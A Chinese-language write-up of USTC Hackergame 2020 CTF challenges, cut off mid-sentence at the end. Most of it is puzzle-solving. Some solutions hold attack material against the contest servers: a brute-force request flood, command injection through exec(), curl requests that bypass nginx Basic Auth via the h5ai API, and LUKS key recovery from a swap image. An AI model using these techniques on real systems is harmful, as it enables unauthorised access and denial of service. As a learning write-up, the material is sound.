USTC Hackergame 2020(中科大信安赛)write up
作为一只 CS 零基础、信安零基础、CTF 零基础的菜狐狐,苏卡卡今年又来参加 USTC Hackergame 啦!由于一边做题一边总结思路(指写 Write Up),所以苏卡卡应该是第一个发布非官方的 USTC Hackergame 2020 Write Up 的吧(嘿嘿)。
题图来自 USTC Hackergame 2019「Happy LUG」
签到题
只要提取 1 个 flag 就好啦!可是,为什么这个反人类的 form-control
的步长竟然是 0.00001:
继续看下去会发现,用手是根本不可能拖到 1.00000 的:
不管了,直接点击「提取」:
同时,发现地址栏里的 URL 变成了 http://202.38.93.111:10000/?number=0.84608
。那就立刻访问 http://202.38.93.111:10000/?number=1
拿到 flag!
Google 从 Chrome 76 起开始推行 WHATWG URL 规范中的「Simplify non-human-readable or irrelevant components」、即「简化非人类可读或不相关的组件」。不过 Chrome 85 起提供了「Always Show Full URLs」的选项,可以在地址栏上右键后从菜单中开启。
猫咪问答++
- 以下编程语言、软件或组织对应标志是哺乳动物的有几个?
Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce.
提示:学术上一般认为龙不属于哺乳动物。- 第一个以信鸽为载体的 IP 网络标准的 RFC 文档中推荐使用的 MTU (Maximum Transmission Unit) 是多少毫克?
提示:咕咕咕,咕咕咕。- USTC Linux 用户协会在 2019 年 9 月 21 日自由软件日活动中介绍的开源游戏的名称共有几个字母?
提示:活动记录会在哪里?- 中国科学技术大学西校区图书馆正前方(西南方向) 50 米 L 型灌木处共有几个连通的划线停车位?
提示:建议身临其境。- 中国科学技术大学第六届信息安全大赛所有人合计提交了多少次 flag?
提示:是一个非负整数。
其中,第二题、第三题、第五题的答案分别可以在下述 URL 中找到:
- RFC1149 - A Standard for the Transmission of IP Datagrams on Avian Carriers:信鸽的典型 MTU 是 256 毫克
- 2019 软件自由日中国科大站 - USTC LUG:开源游戏的名称是 Teeworlds、有 9 个字母
- 中国科学技术大学第六届信息安全大赛圆满结束 - USTC LUG
至于第一题要搜索二十几种吉祥物、一不小心还会数错,第四题要去找卫星图像或者街景图,大尾巴狐狸太懒了、不想搜索了!有没有别的方法获取 flag?
第一题给了 23 种编程语言、软件或组织:
"Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce".split(',').length
// 23
至于图书馆前的地上停车位、总不可能超过 100 个吧?
那么,写一个遍历跑第一题和第四题的答案,总会跑出 Flag 的!
for (let i = 1; i < 23; i++) { // 至少有 1 种哺乳动物;既然提示了龙不是哺乳动物,那么肯定不会 23 种前部都是
for (let j = 0; j < 100; j++) { // 一个停车位都没有的可能性不是没有,遍历时要考虑进去
const formData = new FormData();
formData.append('q1', i);
formData.append('q2', 256);
formData.append('q3', 9);
formData.append('q4', j);
formData.append('q4', 17098);
fetch('http://202.38.93.111:10001/', {
body: formData,
method: 'POST',
}).then(resp => resp.text()).then(text => {
if (!text.includes('没有全部答对,不能给你 flag')) {
console.log(i, j, text);
}
});
}
}
果然,通过对比赛平台的 CC 攻击,很快就把第一题和第四题答案跑出来了:第一题的答案是 12、第四题的答案是 9。输入正确答案提交即可获取 flag。
2048
毫无疑问,这道题如果真的玩到 2048 获取 Flag 是肯定可行的,但是我懒;同样的原因,我也不想对这个网站里每个 JS 都审计一次。既然如此,不如先随便玩玩,看看这道题的 Flag 大概会藏在哪里。
随便乱敲方向键刻意使 Game Over,DevTools 截获了一个 HTTP 请求、是 html_actuator.js
第 164 行发起的:
现在我们直接审计 html_actuator.js
就好了,把发起 AJAX 请求的函数找出来:
HTMLActuator.prototype.message = function (won) {
var type = won ? "game-won" : "game-over";
var message = won ? "FLXG 大成功!" : "FLXG 永不放弃!";
var url;
if (won) {
url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
} else {
url = "/getflxg?my_favorite_fruit=";
}
let request = new XMLHttpRequest();
request.open('GET', url);
request.responseType = 'text';
request.onload = function() {
document.getElementById("game-message-extra").innerHTML = request.response;
};
request.send();
this.messageContainer.classList.add(type);
this.messageContainer.getElementsByTagName("p")[0].textContent = message;
this.clearContainer(this.sharingContainer);
this.sharingContainer.appendChild(this.scoreTweetButton());
};
看了代码就知道怎么获取 Flag 了,直接 GET /getflxg?my_favorite_fruit=banana
即可。
小彩蛋,在 JavaScript 中字符串类型
String
转换成数字类型Number
时会得到NaN
,凑成了banana
。
一闪而过的 Flag
...... 程序每次运行时隐约可见黑色控制台上有 flag 一闪而过。
......
而你作为一名新生,不由动了恻隐之心。望着诗人潇洒远去的背影,你可以赶在下午诗人回来之前,帮助这位可怜的人,用 flag 装满他的饭盒吗?
打开/下载题目 (Hosted at Internet Archive)
欺负苏卡卡用 macOS 不用 Windows,哼!苏卡卡才不会重启到 Windows 就为了看个 flag 呢,Parallels Desktop 启动!
没有什么是截图解决不了的。。。啊,什么?还要区分 i I 1 l
?当然是猜 flag 啦
小 Tip,打开 CMD、左上角图标右键、「默认值」,是可以设置「控制台窗口」默认字体和字号的:
改了字体以后,这不就分得清清楚楚啦!
从零开始的记账工具人
如同往常一样,你的 npy 突然丢给你一个购物账单:“我今天买了几个小玩意,你能帮我算一下一共花了多少钱吗?”
你心想:
又双叒叕要开始吃土了这不是很简单吗?电子表格里面一拖动就算出来了只不过拿到账单之后你才注意到,似乎是为了剁手时更加的安心,这次的账单上面的金额全使用了中文大写数字
注意:请将账单总金额保留小数点后两位,放在
flag{}
中提交,例如总金额为 123.45 元时,你需要提交flag{123.45}
这道题上来继续欺负苏卡卡没有在 macOS 上安装 Office,大尾巴狐狸非常生气。你看 npm 上这个能解析 xlsx
文件的 SheetJS、大写数字转小写的 nzh 还蛮好用的。Node.js 代码如下:
const XLSX = require('xlsx'); // 解析 xlsx 用
const NzhCN = require('nzh/cn'); // 大写数字转小写
const xlsx = XLSX.readFile('./bills.xlsx'); // 当然你要先把 xlsx 文件下载下来
const data = XLSX.utils.sheet_to_json(xlsx.Sheets[xlsx.SheetNames[0]]);
let count = 0;
data.forEach(row => {
const moneyData = { yuan: 0, jiao: 0, fen: 0 };
// nzh 不支持处理金额,需要自己实现一个
let tmp;
[['元', 'yuan'], ['角', 'jiao'], ['分', 'fen']].forEach(([i, dataKey]) => {
tmp = (tmp || row['单价']).split(i);
if (tmp.length === 1) {
tmp = tmp[0]
} else {
moneyData[dataKey] = NzhCN.decodeB(tmp[0]);
tmp = tmp[1]
}
});
// 处理金额时,要小心浮点数大坑哟
const value = moneyData.yuan * 100 + moneyData.jiao * 10 + moneyData.fen;
count = count + value * row['数量'];
});
console.log(`flag{${(count/100).toFixed(2)}}`); // 直接打印 flag
超简单的世界模拟器
......
你的任务是在生命游戏的世界中,复现出蝴蝶扇动翅膀,引起大洋彼岸风暴的效应。
通过改变左上角 15x15 的区域,在游戏演化 200 代之后,如果被特殊标注的正方形内的细胞被“清除”,你将会得到对应的 flag:
“清除”任意一个正方形,你将会得到第一个 flag。同时“清除”两个正方形,你将会得到第二个 flag。
在 Google 上搜索「生命游戏」,找到了一个知乎提问和 Conway Life Game Wiki。大概了解康威生命游戏是什么后就理解了题目的要求:要在 15x15 的范围内构建一个生命游戏图形、在演化到 200 代之后会清除两个种群。
第一个 Payload 是一艘最简单的会向右平移「飞船」(这个图形在知乎或是 Life Game Wiki 上都可以被轻易找到),可以直接摧毁第一个种群:
0
0
0
0011
01111
011011
00011
第二个 Payload 是我一不小心试出来的,由一个平移的「飞船」和一个沿着斜对角线行走的「滑翔者」共同组成,他们会「擦弹」引发「大爆炸」,在 80 代左右摧毁第一个种群、在 160 代左右摧毁第二个种群:
0
0
0
0011
01111
011011
00011
0
0
001
101
011
从零开始的火星文生活
......
L 同学打开附件一看,傻眼了,全都是意义不明的汉字。机智的 L 同学想到 Q 同学平时喜欢使用 GBK 编码,也许是打开方式不对。结果用 GBK 打开却看到了一堆夹杂着日语和数字的火星文......
L 同学彻底懵逼了,几经周折,TA 找到了科大最负盛名的火星文专家 (你)。依靠多年的字符编码解码的经验,你可以破译 Q 同学发来的火星文是什么意思吗?
注:正确的 flag 全部由 ASCII 字符组成!
这种 GBK、UTF-8 之间的火星文编码问题,直接给一个 UNIX 下的 万能解法:
cat gibberish_message.txt | iconv -f utf8 -t gbk | iconv -f utf8 -t latin1 | iconv -f gbk -t utf8
剩下要做的,就是把全角转换成半角了。
自复读的复读机
能够复读其他程序输出的程序只是普通的复读机。
顶尖的复读机还应该能复读出自己的源代码。
什么是国际复读机啊(战术后仰)
你现在需要编写两个只有一行 Python 代码的顶尖复读机:
- 其中一个要输出代码本身的逆序(即所有字符从后向前依次输出)
- 另一个是输出代码本身的 sha256 哈希值,十六进制小写
满足两个条件分别对应了两个 flag。
快来开始你的复读吧~
访问题目,输出的提示信息是:
Your one line python code to exec():
什么,可以 exec()
啊?那大尾巴狐狸直接干坏事了:
Your one line python code to exec(): import os; os.system("ls")
发现目录下面有一个 checker.py
和一个 runner.py
。接着用 os.system("cat *.py")
获得题目源码:
# checker.py
import subprocess
import hashlib
if __name__ == "__main__":
code = input("Your one line python code to exec(): ")
print()
if not code:
print("Code must not be empty")
exit(-1)
p = subprocess.run(
["su", "nobody", "-s", "/bin/bash", "-c", "/usr/local/bin/python3 /runner.py"],
input=code.encode(),
stdout=subprocess.PIPE,
)
if p.returncode != 0:
print()
print("Your code did not run successfully")
exit(-1)
output = p.stdout.decode()
print("Your code is:")
print(repr(code))
print()
print("Output of your code is:")
print(repr(output))
print()
print("Checking reversed(code) == output")
if code[::-1] == output:
print(open("/root/flag1").read())
else:
print("Failed!")
print()
print("Checking sha256(code) == output")
if hashlib.sha256(code.encode()).hexdigest() == output:
print(open("/root/flag2").read())
else:
print("Failed!")
# runner.py
exec(input())
不要想着直接
exec()
偷 flag 了,你以为这比赛是 ylb 搞的啊?
可以看到「反向复读」的检查中使用了 [::-1]
倒序,所以在构造反向复读的语句中也应该使用 [::-1]
。
首先是构建正向复读的语句,在 Google 中 盲目 搜索的过程中确定了关键词「Quine Python」、找到了 这个网站,介绍了如下语句:
_='_=%r;print (_%%_)';print (_%_)
那个网站也给出了这个语句的详细解释,不过简单来说,我们利用了 print
字符格式化、通过 %r
(当然也可以用 %s
)获得 _
变量的取值;而在 _
变量中使用了 %%
防止 %
被转义。
既然有了正向复读,稍加改动即可得到反向复读。首先在 print(_&_)
中加上 [::-1]
获得倒叙,同时也要对应修改 _
变量:
_=')]1-::[_%%_(tnirp;%r=_';print(_%_[::-1])
信心满满地去提交,结果 Check Failed,发现 print
在结尾带上了换行符。所以再为 print
再加上 end=""
即可:
_=')""=dne,]1-::[_%%_(tnirp;%r=_';print(_%_[::-1],end="")
成功获得第一个 flag。
233 同学的字符串工具
233 同学最近刚刚学会了 Python 的字符串操作,于是写了两个小程序运行在自己的服务器上。这个工具提供两个功能:
- 字符串大写工具
- UTF-7 到 UTF-8 转换工具
除了点击下方的打开题目按钮使用网页终端,你也可以通过
nc 202.38.93.111 10233
命令连接到 233 同学的服务上。你可以在这里看到 233 同学的源代码: string_tool.py。
这一道题我先拿到了第二个 flag 后才拿到了第一个 flag。首先在 www.string-function.com
这个网站上找到了 UTF-7 和 ASCII 编码互换表: UTF-7 => ASCII ASCII => UTF-7,照着表(加上一些简单的推算)将 flag
编码成 +AGYAbABhAGc-
、成功拿到第二个 flag。
获得第二个 flag 以后,决定根据相同的思路去查 Unicode sheet,但是直到后来经过提醒才想起来有「合字」这种神奇的存在,最终利用 U+FB02
构造出 Payload 获得第一个 flag。
233 同学的 Docker
233 同学在软工课上学到了 Docker 这种方便的东西,于是给自己的字符串工具项目写了一个 Dockerfile。
但是 233 同学突然发现它不小心把一个私密文件(
flag.txt
)打包进去了,于是写了一行命令删掉这个文件。「既然已经删掉了,应该不会被人找出来吧?」233 想道。
首先让我们 看看这个 Docker Image 是怎么构建的(不需要用 image 反推 Dockerfile 这种奇技淫巧,DockerHub 可以直接查看 Public 的 Docker Images 的构建过程),可以发现 233 同学首先把所有文件都添加到 Docker Image 中、再通过 /bin/sh -c rm /code/flag.txt
删除了 flag.txt
。
由于 Docker Image 在构建时每一个 RUN 都会新建一个 Layer,因此即使 233 同学通过 RUN 删掉了 flag.txt
,flag 肯定还存在于某个地方,而且「某个地方」就包括本机的 /var/lib/docker/overlay2
:
$ docker run 8b8d3c8324c7/stringtool # 下载执行 8b8d3c8324c7/stringtool
[Redacted]
Nothing here... # Docker Image 执行的输出
$ cd /var/lib/docker/overlay2
$ find -name flag.txt
./befaa134f7d0cc9e964e7790b7c11dde6d0df3104cd88667f7676e46f409705f/diff/code/flag.txt
./8c07cc3c01c52b8cf0684518e68a31bfb1f843392f973fef9add587d554c6fab/diff/code/flag.txt
# Duang,flag.txt 它出现了
$ cd befaa134f7d0cc9e964e7790b7c11dde6d0df3104cd88667f7676e46f409705f/diff/code/
$ cat flag.txt
# flag 到手,嘿嘿
从零开始的 HTTP 链接
众所周知,数组下标应当从 0 开始。
同样的,TCP 端口也应当从 0 开始。为了实践这一点,我们把一个网站架设在服务器的 0 号端口上。
你能成功连接到 0 号端口并拿到 flag 吗?
点击下面的打开题目按钮是无法打开网页的,因为普通的浏览器会认为这是无效地址。
TCP/IP 中「端口」这个概念,甚至早于互联网的发明:早在 ARPANET 网中的供电协议中就有 8 个比特用于决定应该由计算机上的哪个程序接收该信息(当时这 8 个比特被称为 AEN、Another Eight Numbers),可以参考我之前翻译的一篇文章「URL 的历史」。现在 TCP 的端口共有 16 个比特(最大支持到 65535)。其中,端口 0 作为保留端口,所以依然是可用的。虽然部分浏览器无法访问,这并不意味着 netcat 不能访问,对吧!
当然这道题有几个坑点:
- 现有发行版中分发的
netcat
都不是「原版」的,试图连接 Port 0 会报「Invalid Port」。因此可以选择直接手撸 Socket、或者更换另一个版本的netcat
。 - 就算使用了合适的工具,由于 Darwin 的 XNU Kernel 非常鸡贼地阻止使用端口 0,所以在 macOS 上也依然没法做这道题。我不得不在 codeanywhere 上开了一个 Linux Container 跑这道题。
和 HTTP/2 基于二进制帧不同,HTTP/0.9、HTTP/1.0、HTTP/1.1 协议都是基于明文的,因此可以手敲 Header:
nc 202.38.93.111 0
GET / HTTP/1.1
Host: 202.38.93.111
Connection: close
接着终端里会打印出来一串 HTML、隐约还可以看见 xterm.js
,这不就是 Hackergame 的 Web 端做题界面嘛!由于去年在参与 USTC Hackergame 时就研究过这个界面、已经知道交互是通过 /shell
路径下的 WebSocket 连接实现的。因此直接使用 websocat 完成 WebSocket 交互,就和 netcat 一样:
# 如果没有 websocat 的话
$ wget https://github.com/vi/websocat/releases/download/v1.6.0/websocat_nossl_amd64-linux
$ chmod +x websocat_nossl_amd64-linux
# 开始获取 Flag
$ ./websocat_nossl_amd64-linux ws://202.38.93.111:0/shell
Please input your token: [Redacted]
# Flag 到手!
超简陋的 OpenGL 小程序
年轻人的第一个 OpenGL 小程序。
(嗯,有什么被挡住了?)
下载地址 (Hosted at Internet Archive)
由于苏卡卡是参赛的两千多名选手中最菜的那一个、完全不懂 OpenGL、完全不懂图形学,为了做这道题不得不去翻了一下「Learn OpenGL CN」,知道了 VS(Vertex Shader)是顶点着色器、可以处理顶点属性确定形状,和 FS(Fragment Shader)是片段着色器、可以算颜色,然后就开始硬上了。在花了半个小时盲目乱改 VS 的参数后,成功让「犹抱琵琶半遮面」的 flag 露出了右上角:
凭借着漏出来的部分,我成功认出了 l
、Graphic
、Happy
、(233);
。剩下的就要靠猜了,我猜过的 flag 有:
flag{GraphicHappy(223);}
(整体长度都不对)flag{GraphicsHappy(223);}
(c
和H
之间还有个类似c
的字母、那就是s
了,不过还是不够长)flag{gl_GraphicsHappy(223);}
(OpenGL 里不少gl_
前缀,加上认出来一个l
,试试看)flag{glGraphicsHappy(223);}
(l
和G
之间的距离没那么长,终于猜对了)
这道题的正确解法是利用未被使用的向量
Normal
。苏卡卡虽然有注意到 Normal 未被使用过,但是由于完全不会 OpenGL、并不知道怎么添加向量。
这种解法没什么好自豪的,你看这只大尾巴狐狸就是逊啦。
来自未来的信笺
你收到了一封邮件。没有标题,奇奇怪怪的发件人,和一份奇怪的附件。日期显示的是 3020 年 10 月 31 日。
"Send from Arctic." 正文就只有这一句话。
「谁搞的恶作剧啊......话说这竟然没有被垃圾邮件过滤器过滤掉?」你一边嘟囔着一边解压了附件——只看到一堆二维码图片。
看起来有点意思。你不禁想试试,能否从其中得到什么有意义的东西。
谁会在 1000 年以后从北极给你发一封电子邮件?那当然是 GitHub Archive Program 啦 —— 今年年初,GitHub 将现存的活跃开源项目全部以二维码的形式刻录在胶片上、埋进了北极世界档案馆(AWA,位于斯瓦尔巴群岛一个位于北极冻土之下的废弃煤矿中,和 Global Seed Vault 仅一英里之遥)中。为了做这道题,让我们读一读 GitHub Archive Program 为「后人」提供的指南:
这里摘抄简体中文版指南的一部分内容:
每个二维码由一个个白色或黑色小方块组成,该等小方块几乎占据胶片的整个帧。 使用二维码的原因在于,其比人类可读的文本更紧凑而可靠。 二维码可解码为二进制数据,即一系列 1 和 0。
......
我们可将 TAR 文件嵌套进 TAR 文件,就像在容器中装入另一容器,而这正是大部分存档数据的存储方式。 无论哪个仓库,其外层 TAR 文件都将至少包含如下内容:
- 一个名为 META 的未压缩元数据文件,其包含仓库名称、帐户名、说明、语言、星数、复刻数
- 一个名为 COMMITS 的压缩文件(如下所述),包含该仓库有史以来的更改记录
- 一个名为 repo.tar.xz 的文件,是包含实际仓库内容的压缩 TAR 文件
其它诸如 wiki、gh-page、issue 和 pull request 等元数据也可能包含在不同压缩文件中。
现在我们知道了这些二维码是什么、二维码们中存储了什么数据、数据的格式,接下来就该写一个脚本把所有二维码全部解析出来了:
import zxing
import os
reader = zxing.BarCodeReader()
def parseQRCode(img_path):
barcode = reader.decode(img_path).encode().decode('ascii')
try:
return barcode.raw
except:
print(img_path, barcode)
return ""
def listDirImages(folder):
imgs = []
for img_path in os.listdir(folder):
ext = os.path.splitext(img_path)
if len(ext) > 1 and ext[1].lower() == ".png":
imgs.append(img_path)
imgs.sort()
return imgs
contents = []
for img in listDirImages("./"):
contents.extend(parseQRCode(img))
file = "./result.txt"
with open(file, "w") as f:
for c in contents:
f.write(c)
这道题对二维码解码库的选择非常关键。
zybar
已经八年没有更新,不仅无法处理 Binary Format QRCode、而且还无法识别 00 截断;相比来说,zxing
库的维护非常活跃、因而更为可靠。不过即使使用 py-zxing 也有坑,很快就会看到了。
把脚本丢到二维码目录下执行,跑完了打开 result.txt
,看到了 META
(一个 openlug/django-common
的 GitHub RESTful API 返回值)、COMMITS
,甚至还看到了一条 commit message「There's no flag in META and COMMITS!」。但是到了 repo.tar.xz
却让我伤破脑筋:zlib 的文件头本应该是 FD 37 7A 58
,结果却看到了 EF BF BD 37 7A 58
,解压软件一个都认不出来。
这是啥玩意?遇事不决问 Google,结果找到了这个:
「狐狐脏话删除」
接下来就是去魔改 zxing 了。如之前所说,python-zxing 还只是个 Java zxing 的 wrapper,不得不去学了一点 Java 把 zxing 里的 UTF-8 干掉,最终重新解析了一遍二维码、拿到了正确的 repo.tar.xz
,解压拿到了 flag。
顺便说一句,做完这道题后有点无聊,开始通过 META 反推原始仓库。原本看到
openlug/nonexist
,以为出题人是新建了一个 Private Repo 出的题,但是又看到fork_count
和network_count
是 5,所以得出结论这肯定是一个 Public Repo(否则不可能有 Fork)。再根据 Star 数在 30 左右、Watch 数(在 GitHub RESTful API 中通过subscriber_count
呈现)是 1、语言是 Python, 最后反推出 META 信息源自去年「被泄露的姜戈」的openlug/django-common
,生成 META 的方式就是curl https://api.github.com/repos/openlug/django-common
。结果还被组委会 diss 了,大尾巴狐狐非常不高兴。
狗狗银行
你能在狗狗银行成功薅到羊毛吗?
考虑到题目公告更新提示「本题前端计算存在浮点数导致的计算误差,数字特别极端时显示可能不正确。但后端采用大整数精确计算,只有净资产确实高于 2000 时才会给出 flag」,所以这道题的思路和 前年 USTC Hackergame 2018 的猫咪银行借助 INT64 溢出 肯定是不一样的。
首先观察题目给出的条件:每天都要花 10 块钱吃饭;信用卡利率 0.5%、并且一旦欠款每天利息至少是 10 块钱;储蓄卡利率 0.3%。光从字面上的数字来看似乎这道题做不出来,但是我们知道,阿里蚂蚁金服的「余额宝」产品存在「每天收益不足 1 分钱时按 1 分钱计算」的规则。狗狗银行的储蓄卡利率是否也有类似的规则呢?办一张新的「储蓄卡 3」,从「储蓄卡 1」转 166 块钱到「储蓄卡 3」,「储蓄卡 3」的日利息仍然是 0;再从「储蓄卡 1」转 1 块钱到「储蓄卡 3」使余额变成 167 块,Bingo!现在「储蓄卡 3」的日利息有 1 块钱了。1 / 167
算出来真实的日利率是 0.5988%,比信用卡的利率要高 0.0988%,因此我们可以从信用卡借钱然后赚利息的差价,当然还要考虑到每天至少要净赚 10 块的饭钱、以及信用卡的复利(利滚利)。
接下来就是用脚本连续开一万张卡试图一天拿到 flag,然后,三台备用服务器(一个 IP 上三个端口、三个 Docker)全部 RST 了。。。
之后,题目新增了一条公告:
苏卡卡才不是故意的呢(摇尾巴),苏卡卡只是坏,一天赚 1000 不香嘛;虽然有了 1000 张卡的限制,获取 flag 还是轻而易举的:
(async () => {
const commonFetchOpt = {
method: 'POST', mode: 'cors', credentials: 'include',
headers: {
Authorization: 'Bearer [选手 Token]',
'Content-Type': 'application/json; charset=utf-8'
}
}
/**
* @param {'credit'|'debit'} type
*/
function createCard(type = 'debit') {
return fetch('/api/create', {
body: JSON.stringify({ type }),
...commonFetchOpt
});
}
/**
* @param {Number} from
* @param {Number} to
* @param {Number} amount
*/
function transfer(from, to, amount) {
return fetch('/api/transfer', {
body: JSON.stringify({ amount, dst: to, src: from }),
...commonFetchOpt
});
}
/**
* @param {Number} account
*/
async function eatAndEndTheDay(account) {
await fetch('/api/eat', {
body: JSON.stringify({ account }),
...commonFetchOpt
});
}
try {
// 开一张信用卡
await createCard('credit');
// 开 999 张储蓄卡,并给每张新开的储蓄卡转 167 块钱
for (let i = 3; i < 1002; i++) {
await createCard('debit');
await transfer(2, i, 167);
}
// 用储蓄卡 1 的初始资金 1000 度过 14 天
for (let i = 0; i < 14; i++) {
await eatAndEndTheDay(1);
}
// 14 天肯定能赚够 1000 块钱了,该获取 flag 了
const req = await fetch('/api/user', { ...commonFetchOpt, method: 'GET' });
const resp = await req.json();
console.log(resp.flag);
} catch (e) {
console.error(e);
}
})();
超基础的数理模拟器
......
我们在 Hackergame 2020 的网站上部署了一项超基础的数理模拟器。 作为一名数理基础扎实的同学,你一定能够轻松通过模拟器的测试吧。
打开题目后发现要做 400 道定积分,而且答案还要取小数点后六位:
这道题没有取巧的办法,只有老老实实把 400 道定积分全部做完.....吧?
这么长的定积分谁手算啊,当然是要用 MATLAB 来算啦!徒手转换 LaTeX 到 MathLab 太麻烦了,写个脚本来做吧:
UserScript 在 这里,好孩子千万不要学习这种方法来解析 LaTex。
室友的加密硬盘
「我的家目录是 512 位 AES 加密的,就算电脑给别人我的秘密也不会泄漏......」你的室友在借你看他装着 Linux 的新电脑时这么说道。你不信,于是偷偷从 U 盘启动,拷出了他硬盘的一部分内容。
打开/下载题目 (Hosted at Internet Archive)
苏卡卡一开始试图把镜像直接挂载在虚拟机上,结果无法启动系统;于是先起了一个 Linux 虚拟机、在 Linux 下将 img 转换为 vmdk 再添加到虚拟机中,结果依然提示「未找到已安装的操作系统或操作系统安装器」。
中国民航于 1992 年在《中国民用航空局关于确保飞行安全的命令》文件中提出了 54 个字「八该一反对」,其中最重要的就是「反对盲目蛮干」
既然通过 img 文件直接启动没有成功,不如先看看这个 img 文件都有什么:
不要在意这个 Ubuntu Kylin,最近狐狐在虚拟机里各种体验各种「国产 Linux 发行版」,虚拟机里正好有 Ubuntu Kylin 所以拿来用的。
由于之前阅读过一些通过内存转储破解全盘加密的文章,所以便去下载了 findaes 的源码,编译的同时再去重读之前的几篇文章获取思路。看到几篇文章中都是用 findaes 直接读取 raw 的内存转储,于是决定直接用 findaes 爆破硬盘映像文件。首先把 img 用 7z 解压出来,然后一个一个分区映像跑:
$ ./findaes /path/to/img1.raw
根据题干「我的家目录是 512 位 AES 加密的」,但是 findaes 找到的都是 AES-256,所以需要从中筛选出一对 offset 相差为 256bit 的 key 进行拼接,因此还需要注意一点,由于 Intel x86_64 的 little-endian、拼接 key 时需要倒序拼接。
其实这一点我还是比较熟悉的,安装 Hackintosh 时注入十六进制的设备属性时需要互换 bit 也是因为 little-endian。
剩下的就是一对一对 key 的用 sudo cryptsetup luksAddKey --master-key-file
试过去,直到成功解密为止。最后用 swap 里的最后一对 key 成功解密了分区并拿到了 flag flag{lets_do_A_c01d_b00t_next_time}
(下次试试冷启动吧!),直到看到 flag 才明白本题的思路是 Linux 休眠后会把内存写入 swap 分区中(macOS 则是写入硬盘上的 sleepimage
文件中),因此和之前读过的从内存转储破解全盘加密的思路是完全一致的。最后再给大家推荐 Red Hat 知识库的一篇文章「How to recover lost LUKS key or passphrase」。
超简易的网盘服务器
...... 小 C 开始思考技术方案:“听说 h5ai 搭建云盘的方案是不错的 ... 使用 Basic Auth 可以做访问控制,可以保护根目录下的文件不被非法的访问 ... 等等,有一些文件是可以被分享的,需要一个 /Public 目录来共享文件!”
三分钟后,小 C 同学完成了网盘的搭建。他想:“空着总不好,先得在云盘上放点东西!”。犹豫片刻,他掏出了自己珍藏了三个月的 flag 并上传到了云盘的根目录。
这道题我好像是第五个还是第六个解出来的。这道题很多人没做出来还是有点令我惊讶的。
直接访问「根目录」会提示 401 需要 HTTP Basic Authentication,聪明的 小 C 肯定不会把密码直接暴露出来的。访问 /Public
目录却发现了 dockerfile
和 nginx.conf
文件。从 dockerfile 中我们可以知道小 C 是怎么搭建的服务,而 nginx.conf
更值得我们关心(已省去无关紧要的部分):
index index.php index.html /_h5ai/public/index.php;
# 根目录是私有目录,使用 basic auth 进行认证,只有我(超极致的小 C)自己可以访问
location / {
auth_basic "easy h5ai. For visitors, please refer to public directory at `/Public!`";
auth_basic_user_file /etc/nginx/conf.d/htpasswd;
}
# Public 目录是公开的,任何人都可以访问,便于我给大家分享文件
location /Public {
allow all;
index /Public/_h5ai/public/index.php;
}
# PHP 的 fastcgi 配置,将请求转发给 php-fpm
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
由于 Nginx 配置文件不是连续匹配,因此访问 .php
结尾的路径是不会触发 401 HTTP Basic Auth 的(应该没有人会天真地试图获取 /etc/nginx/conf.d/htpassword
吧?)。既然如此,我们为什么不直接访问 h5ai
的 index.php
呢?首先让我们请求一下 /Public
目录下的 h5ai 后台页面 /Public/_h5ai/public/index.php
:
curl http://202.38.93.111:10120/Public/_h5ai/public/index.php -I
HTTP/1.1 200 OK
那么「根目录」下的 /_h5ai/public/index.php
呢?
curl http://202.38.93.111:10120/_h5ai/public/index.php -I
HTTP/1.1 200 OK
不出所料,直接访问 index.php
也会返回 200 OK,而不是 401。
虽然直接访问 /_h5ai/public/index.php
不会返回 401,但是 GET 这个路径默认是返回 h5ai 的后台调试页面。由于 h5ai 是开源的、我们可以前往 h5ai 的 GitHub 对其代码进行审计,发现 h5ai 提供了一系列 API,可以通过 POST 请求列出目录内容和下载文件。首先试试能不能用 API 列出根目录下的文件内容:
$ curl 'http://202.38.93.111:10120/_h5ai/public/index.php' -H 'Content-Type: application/json;charset=UTF-8' --data-binary '{"action":"get","items":{"href":"/","what":1}}' | jq
{
"items": [
{
"href": "/",
"time": 1603986831000,
"size": 789419,
"managed": true,
"fetched": true
},
{
"href": "/Public/",
"time": 1603986830000,
"size": 396458,
"managed": false,
"fetched": false
},
{
"href": "/flag.txt",
"time": 1603489315000,
"size": 24
}
]
}
诶嘿嘿,我们看到 /flag.txt
啦!接下来就是用 API 下载 flag.txt
文件了:
$ curl 'http://202.38.93.111:10120/_h5ai/public/index.php' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'action=download&as=flag.txt.tar&type=php-tar&baseHref=/&hrefs[0]=/flag.txt' -o flag.txt.tar
$ tar xzf flag.txt.tar
$ cat flag.txt # Flag 到手啦
超安全的代理服务器
在 2039 年,爆发了一场史无前例的疫情。为了便于在各地的同学访问某知名大学「裤子大」的网站进行「每日健康打卡」,小 C 同学为大家提供了这样一个代理服务。曾经信息安全专业出身的小 C 决定把这个代理设计成最安全的代理。
提示:浏览器可能会提示该 TLS 证书无效,与本题解法无关,信任即可。
「浏览器可能会提示该 TLS 证书无效」这句话至关重要。想想看为什么别的题都是通过 HTTP 访问的、唯独这道题要用 HTTPS?什么东西需要 HTTPS 才能工作、在 HTTP 下不工作呢?
虽然 HTTP/2 本身不要求 TLS 实现(例如 H2C、HTTP/2 ClearText)、并且有通过 HTTP/1.1 升级到 HTTP/2 的协商方法(参见 我之前的文章「HTTP/3:HTTP Alternative Services 作为协商方式」中的「HTTP/2 的协商方式」章节 ),但是所有支持 HTTP/2 的浏览器都要求 HTTP/2 必须通过 TLS 传输、并在 Client Hello 中通过 ALPN Protocol 进行协商。扯远了,看看题目。
「我们已经向您 推送(PUSH) 了最新的 Secret ,但是你可能无法直接看到它」。现在我们知道了,这道题和 HTTP/2 Server Push 有关。解码 HTTP/2 帧最好的方法自然是使用 Wireshark。首先我们要让 Wireshark 能够解密 HTTPS 内容,最简单的方法是使用 SSLKEYLOGFILE
环境变量。
警告!使用
SSLKEYLOGFILE
